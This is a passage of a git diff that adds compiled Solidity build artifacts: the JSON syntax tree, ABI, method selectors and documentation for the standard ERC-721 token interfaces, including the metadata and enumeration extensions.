otherwise"},"functionSelector":"e985e9c5","implemented":false,"kind":"function","modifiers":[],"name":"isApprovedForAll","nameLocation":"5701:16:18","parameters":{"id":32080,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32077,"mutability":"mutable","name":"_owner","nameLocation":"5726:6:18","nodeType":"VariableDeclaration","scope":32084,"src":"5718:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32076,"name":"address","nodeType":"ElementaryTypeName","src":"5718:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32079,"mutability":"mutable","name":"_operator","nameLocation":"5742:9:18","nodeType":"VariableDeclaration","scope":32084,"src":"5734:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32078,"name":"address","nodeType":"ElementaryTypeName","src":"5734:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5717:35:18"},"returnParameters":{"id":32083,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32082,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32084,"src":"5776:4:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32081,"name":"bool","nodeType":"ElementaryTypeName","src":"5776:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5775:6:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":31974,"name":"IERC165","nameLocations":["270:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":31873,"src":"270:7:18"},"id":31975,"nodeType":"InheritanceSpecifier","src":"270:7:18"}],"canonicalName":"IERC721","contractDependencies":[],"contractKind":"interface","documentation":{"id":31973,"nodeType":"StructuredDocumentation","src":"83:166:18","text":"@title ERC-721 Non-Fungible Token Standard\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 0x80ac58cd."},"fullyImplemented":false,"linearizedBaseContracts":[32085,31873],"name":"IERC721","nameLocation":"259:7:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]},{"id":32101,"nodeType":"ContractDefinition","src":"5858:942:18","nodes":[{"id":32100,"nodeType":"FunctionDefinition","src":"6656:142:18","nodes":[],"documentation":{"id":32087,"nodeType":"StructuredDocumentation","src":"5895:756:18","text":"@notice Handle the receipt of an NFT\n @dev The ERC721 smart contract calls this function on the recipient\n after a `transfer`. This function MAY throw to revert and reject the\n transfer. Return of other than the magic value MUST result in the\n transaction being reverted.\n Note: the contract address is always the message sender.\n @param _operator The address which called `safeTransferFrom` function\n @param _from The address which previously owned the token\n @param _tokenId The NFT identifier which is being transferred\n @param _data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`\n unless throwing"},"functionSelector":"150b7a02","implemented":false,"kind":"function","modifiers":[],"name":"onERC721Received","nameLocation":"6665:16:18","parameters":{"id":32096,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32089,"mutability":"mutable","name":"_operator","nameLocation":"6690:9:18","nodeType":"VariableDeclaration","scope":32100,"src":"6682:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32088,"name":"address","nodeType":"ElementaryTypeName","src":"6682:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32091,"mutability":"mutable","name":"_from","nameLocation":"6709:5:18","nodeType":"VariableDeclaration","scope":32100,"src":"6701:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32090,"name":"address","nodeType":"ElementaryTypeName","src":"6701:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32093,"mutability":"mutable","name":"_tokenId","nameLocation":"6724:8:18","nodeType":"VariableDeclaration","scope":32100,"src":"6716:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32092,"name":"uint256","nodeType":"ElementaryTypeName","src":"6716:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32095,"mutability":"mutable","name":"_data","nameLocation":"6749:5:18","nodeType":"VariableDeclaration","scope":32100,"src":"6734:20:18","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":32094,"name":"bytes","nodeType":"ElementaryTypeName","src":"6734:5:18","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6681:74:18"},"returnParameters":{"id":32099,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32098,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32100,"src":"6790:6:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":32097,"name":"bytes4","nodeType":"ElementaryTypeName","src":"6790:6:18","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"6789:8:18"},"scope":32101,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IERC721TokenReceiver","contractDependencies":[],"contractKind":"interface","documentation":{"id":32086,"nodeType":"StructuredDocumentation","src":"5786:72:18","text":"@dev Note: the ERC-165 identifier for this interface is 0x150b7a02."},"fullyImplemented":false,"linearizedBaseContracts":[32101],"name":"IERC721TokenReceiver","nameLocation":"5868:20:18","scope":32154,"usedErrors":[],"usedEvents":[]},{"id":32125,"nodeType":"ContractDefinition","src":"6997:659:18","nodes":[{"id":32110,"nodeType":"FunctionDefinition","src":"7117:60:18","nodes":[],"documentation":{"id":32105,"nodeType":"StructuredDocumentation","src":"7040:72:18","text":"@notice A descriptive name for a collection of NFTs in this contract"},"functionSelector":"06fdde03","implemented":false,"kind":"function","modifiers":[],"name":"name","nameLocation":"7126:4:18","parameters":{"id":32106,"nodeType":"ParameterList","parameters":[],"src":"7130:2:18"},"returnParameters":{"id":32109,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32108,"mutability":"mutable","name":"_name","nameLocation":"7170:5:18","nodeType":"VariableDeclaration","scope":32110,"src":"7156:19:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32107,"name":"string","nodeType":"ElementaryTypeName","src":"7156:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7155:21:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32116,"nodeType":"FunctionDefinition","src":"7245:64:18","nodes":[],"documentation":{"id":32111,"nodeType":"StructuredDocumentation","src":"7183:57:18","text":"@notice An abbreviated name for NFTs in this contract"},"functionSelector":"95d89b41","implemented":false,"kind":"function","modifiers":[],"name":"symbol","nameLocation":"7254:6:18","parameters":{"id":32112,"nodeType":"ParameterList","parameters":[],"src":"7260:2:18"},"returnParameters":{"id":32115,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32114,"mutability":"mutable","name":"_symbol","nameLocation":"7300:7:18","nodeType":"VariableDeclaration","scope":32116,"src":"7286:21:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32113,"name":"string","nodeType":"ElementaryTypeName","src":"7286:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7285:23:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32124,"nodeType":"FunctionDefinition","src":"7580:74:18","nodes":[],"documentation":{"id":32117,"nodeType":"StructuredDocumentation","src":"7315:260:18","text":"@notice A distinct Uniform Resource Identifier (URI) for a given asset.\n @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC\n 3986. The URI may point to a JSON file that conforms to the \"ERC721\n Metadata JSON Schema\"."},"functionSelector":"c87b56dd","implemented":false,"kind":"function","modifiers":[],"name":"tokenURI","nameLocation":"7589:8:18","parameters":{"id":32120,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32119,"mutability":"mutable","name":"_tokenId","nameLocation":"7606:8:18","nodeType":"VariableDeclaration","scope":32124,"src":"7598:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32118,"name":"uint256","nodeType":"ElementaryTypeName","src":"7598:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7597:18:18"},"returnParameters":{"id":32123,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32122,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32124,"src":"7639:13:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32121,"name":"string","nodeType":"ElementaryTypeName","src":"7639:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7638:15:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":32103,"name":"IERC721","nameLocations":["7026:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":32085,"src":"7026:7:18"},"id":32104,"nodeType":"InheritanceSpecifier","src":"7026:7:18"}],"canonicalName":"IERC721Metadata","contractDependencies":[],"contractKind":"interface","documentation":{"id":32102,"nodeType":"StructuredDocumentation","src":"6802:195:18","text":"@title ERC-721 Non-Fungible Token Standard, optional metadata extension\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 0x5b5e139f."},"fullyImplemented":false,"linearizedBaseContracts":[32125,32085,31873],"name":"IERC721Metadata","nameLocation":"7007:15:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]},{"id":32153,"nodeType":"ContractDefinition","src":"7856:1169:18","nodes":[{"id":32134,"nodeType":"FunctionDefinition","src":"8114:55:18","nodes":[],"documentation":{"id":32129,"nodeType":"StructuredDocumentation","src":"7901:208:18","text":"@notice Count NFTs tracked by this contract\n @return A count of valid NFTs tracked by this contract, where each one of\n them has an assigned and queryable owner not equal to the zero address"},"functionSelector":"18160ddd","implemented":false,"kind":"function","modifiers":[],"name":"totalSupply","nameLocation":"8123:11:18","parameters":{"id":32130,"nodeType":"ParameterList","parameters":[],"src":"8134:2:18"},"returnParameters":{"id":32133,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32132,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32134,"src":"8160:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32131,"name":"uint256","nodeType":"ElementaryTypeName","src":"8160:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8159:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32142,"nodeType":"FunctionDefinition","src":"8418:70:18","nodes":[],"documentation":{"id":32135,"nodeType":"StructuredDocumentation","src":"8175:238:18","text":"@notice Enumerate valid NFTs\n @dev Throws if `_index` >= `totalSupply()`.\n @param _index A counter less than `totalSupply()`\n @return The token identifier for the `_index`th NFT,\n (sort order not specified)"},"functionSelector":"4f6ccce7","implemented":false,"kind":"function","modifiers":[],"name":"tokenByIndex","nameLocation":"8427:12:18","parameters":{"id":32138,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32137,"mutability":"mutable","name":"_index","nameLocation":"8448:6:18","nodeType":"VariableDeclaration","scope":32142,"src":"8440:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32136,"name":"uint256","nodeType":"ElementaryTypeName","src":"8440:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8439:16:18"},"returnParameters":{"id":32141,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32140,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32142,"src":"8479:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32139,"name":"uint256","nodeType":"ElementaryTypeName","src":"8479:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8478:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32152,"nodeType":"FunctionDefinition","src":"8930:93:18","nodes":[],"documentation":{"id":32143,"nodeType":"StructuredDocumentation","src":"8494:431:18","text":"@notice Enumerate NFTs assigned to an owner\n @dev Throws if `_index` >= `balanceOf(_owner)` or if\n `_owner` is the zero address, representing invalid NFTs.\n @param _owner An address where we are interested in NFTs owned by them\n @param _index A counter less than `balanceOf(_owner)`\n @return The token identifier for the `_index`th NFT assigned to `_owner`,\n (sort order not specified)"},"functionSelector":"2f745c59","implemented":false,"kind":"function","modifiers":[],"name":"tokenOfOwnerByIndex","nameLocation":"8939:19:18","parameters":{"id":32148,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32145,"mutability":"mutable","name":"_owner","nameLocation":"8967:6:18","nodeType":"VariableDeclaration","scope":32152,"src":"8959:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32144,"name":"address","nodeType":"ElementaryTypeName","src":"8959:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32147,"mutability":"mutable","name":"_index","nameLocation":"8983:6:18","nodeType":"VariableDeclaration","scope":32152,"src":"8975:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32146,"name":"uint256","nodeType":"ElementaryTypeName","src":"8975:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8958:32:18"},"returnParameters":{"id":32151,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32150,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32152,"src":"9014:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32149,"name":"uint256","nodeType":"ElementaryTypeName","src":"9014:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9013:9:18"},"scope":32153,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":32127,"name":"IERC721","nameLocations":["7887:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":32085,"src":"7887:7:18"},"id":32128,"nodeType":"InheritanceSpecifier","src":"7887:7:18"}],"canonicalName":"IERC721Enumerable","contractDependencies":[],"contractKind":"interface","documentation":{"id":32126,"nodeType":"StructuredDocumentation","src":"7658:198:18","text":"@title ERC-721 Non-Fungible Token Standard, optional enumeration extension\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 0x780e9d63."},"fullyImplemented":false,"linearizedBaseContracts":[32153,32085,31873],"name":"IERC721Enumerable","nameLocation":"7866:17:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]}],"license":"MIT"},"id":18} \ No newline at end of file diff --git a/contracts/out/IERC721.sol/IERC721Metadata.json b/contracts/out/IERC721.sol/IERC721Metadata.json new file mode 100644 index 000000000..6ae57c5fc --- /dev/null +++ b/contracts/out/IERC721.sol/IERC721Metadata.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"approve","inputs":[{"name":"_approved","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"balanceOf","inputs":[{"name":"_owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getApproved","inputs":[{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"isApprovedForAll","inputs":[{"name":"_owner","type":"address","internalType":"address"},{"name":"_operator","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"_name","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"ownerOf","inputs":[{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"safeTransferFrom","inputs":[{"name":"_from","type":"address","internalType":"address"},{"name":"_to","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"safeTransferFrom","inputs":[{"name":"_from","type":"address","internalType":"address"},{"name":"_to","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"setApprovalForAll","inputs":[{"name":"_operator","type":"address","internalType":"address"},{"name":"_approved","type":"bool","internalType":"bool"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"supportsInterface","inputs":[{"name":"interfaceID","type":"bytes4","internalType":"bytes4"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"symbol","inputs":[],"outputs":[{"name":"_symbol","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"tokenURI","inputs":[{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address","internalType":"address"},{"name":"_to","type":"address","internalType":"address"},{"name":"_tokenId","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"payable"},{"type":"event","name":"Approval","inputs":[{"name":"_owner","type":"address","indexed":true,"internalType":"address"},{"name":"_approved","type":"address","indexed":true,"internalType":"address"},{"name":"_tokenId","type":"uint256","indexed":true,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"ApprovalForAll","inputs":[{"name":"_owner","type":"address","indexed":true,"internalType":"address"},{"name":"_operator","type":"address","indexed":true,"internalType":"address"},{"name":"_approved","type":"bool","indexed":false,"internalType":"bool"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"_from","type":"address","indexed":true,"internalType":"address"},{"name":"_to","type":"address","indexed":true,"internalType":"address"},{"name":"_tokenId","type":"uint256","indexed":true,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","getApproved(uint256)":"081812fc","isApprovedForAll(address,address)":"e985e9c5","name()":"06fdde03","ownerOf(uint256)":"6352211e","safeTransferFrom(address,address,uint256)":"42842e0e","safeTransferFrom(address,address,uint256,bytes)":"b88d4fde","setApprovalForAll(address,bool)":"a22cb465","supportsInterface(bytes4)":"01ffc9a7","symbol()":"95d89b41","tokenURI(uint256)":"c87b56dd","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_approved\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"_approved\",\"type\":\"bool\"}],\"name\":\"ApprovalForAll\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_approved\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"getApproved\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"}],\"name\":\"isApprovedForAll\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"_name\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"ownerOf\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_operator\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"_approved\",\"type\":\"bool\"}],\"name\":\"setApprovalForAll\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"interfaceID\",\"type\":\"bytes4\"}],\"name\":\"supportsInterface\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"_symbol\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"tokenURI\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_tokenId\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"See https://eips.ethereum.org/EIPS/eip-721 Note: the ERC-165 identifier for this interface is 0x5b5e139f.\",\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"This emits when the approved address for an NFT is changed or reaffirmed. The zero address indicates there is no approved address. When a Transfer event emits, this also indicates that the approved address for that NFT (if any) is reset to none.\"},\"ApprovalForAll(address,address,bool)\":{\"details\":\"This emits when an operator is enabled or disabled for an owner. The operator can manage all NFTs of the owner.\"},\"Transfer(address,address,uint256)\":{\"details\":\"This emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any number of NFTs may be created and assigned without emitting Transfer. At the time of any transfer, the approved address for that NFT (if any) is reset to none.\"}},\"kind\":\"dev\",\"methods\":{\"approve(address,uint256)\":{\"details\":\"The zero address indicates there is no approved address. Throws unless `msg.sender` is the current NFT owner, or an authorized operator of the current owner.\",\"params\":{\"_approved\":\"The new approved NFT controller\",\"_tokenId\":\"The NFT to approve\"}},\"balanceOf(address)\":{\"details\":\"NFTs assigned to the zero address are considered invalid, and this function throws for queries about the zero address.\",\"params\":{\"_owner\":\"An address for whom to query the balance\"},\"returns\":{\"_0\":\"The number of NFTs owned by `_owner`, possibly zero\"}},\"getApproved(uint256)\":{\"details\":\"Throws if `_tokenId` is not a valid NFT.\",\"params\":{\"_tokenId\":\"The NFT to find the approved address for\"},\"returns\":{\"_0\":\"The approved address for this NFT, or the zero address if there is none\"}},\"isApprovedForAll(address,address)\":{\"params\":{\"_operator\":\"The address that acts on behalf of the owner\",\"_owner\":\"The address that owns the NFTs\"},\"returns\":{\"_0\":\"True if `_operator` is an approved operator for `_owner`, false otherwise\"}},\"ownerOf(uint256)\":{\"details\":\"NFTs assigned to zero address are considered invalid, and queries about them do throw.\",\"params\":{\"_tokenId\":\"The identifier for an NFT\"},\"returns\":{\"_0\":\"The address of the owner of the NFT\"}},\"safeTransferFrom(address,address,uint256)\":{\"details\":\"This works identically to the other function with an extra data parameter, except this function just sets data to \\\"\\\".\",\"params\":{\"_from\":\"The current owner of the NFT\",\"_to\":\"The new owner\",\"_tokenId\":\"The NFT to transfer\"}},\"safeTransferFrom(address,address,uint256,bytes)\":{\"details\":\"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this function checks if `_to` is a smart contract (code size > 0). If so, it calls `onERC721Received` on `_to` and throws if the return value is not `bytes4(keccak256(\\\"onERC721Received(address,address,uint256,bytes)\\\"))`.\",\"params\":{\"_from\":\"The current owner of the NFT\",\"_to\":\"The new owner\",\"_tokenId\":\"The NFT to transfer\",\"data\":\"Additional data with no specified format, sent in call to `_to`\"}},\"setApprovalForAll(address,bool)\":{\"details\":\"Emits the ApprovalForAll event. The contract MUST allow multiple operators per owner.\",\"params\":{\"_approved\":\"True if the operator is approved, false to revoke approval\",\"_operator\":\"Address to add to the set of authorized operators\"}},\"supportsInterface(bytes4)\":{\"details\":\"Interface identification is specified in ERC-165. This function uses less than 30,000 gas.\",\"params\":{\"interfaceID\":\"The interface identifier, as specified in ERC-165\"},\"returns\":{\"_0\":\"`true` if the contract implements `interfaceID` and `interfaceID` is not 0xffffffff, `false` otherwise\"}},\"tokenURI(uint256)\":{\"details\":\"Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC 3986. The URI may point to a JSON file that conforms to the \\\"ERC721 Metadata JSON Schema\\\".\"},\"transferFrom(address,address,uint256)\":{\"details\":\"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT.\",\"params\":{\"_from\":\"The current owner of the NFT\",\"_to\":\"The new owner\",\"_tokenId\":\"The NFT to transfer\"}}},\"title\":\"ERC-721 Non-Fungible Token Standard, optional metadata extension\",\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"approve(address,uint256)\":{\"notice\":\"Change or reaffirm the approved address for an NFT\"},\"balanceOf(address)\":{\"notice\":\"Count all NFTs assigned to an owner\"},\"getApproved(uint256)\":{\"notice\":\"Get the approved address for a single NFT\"},\"isApprovedForAll(address,address)\":{\"notice\":\"Query if an address is an authorized operator for another address\"},\"name()\":{\"notice\":\"A descriptive name for a collection of NFTs in this contract\"},\"ownerOf(uint256)\":{\"notice\":\"Find the owner of an 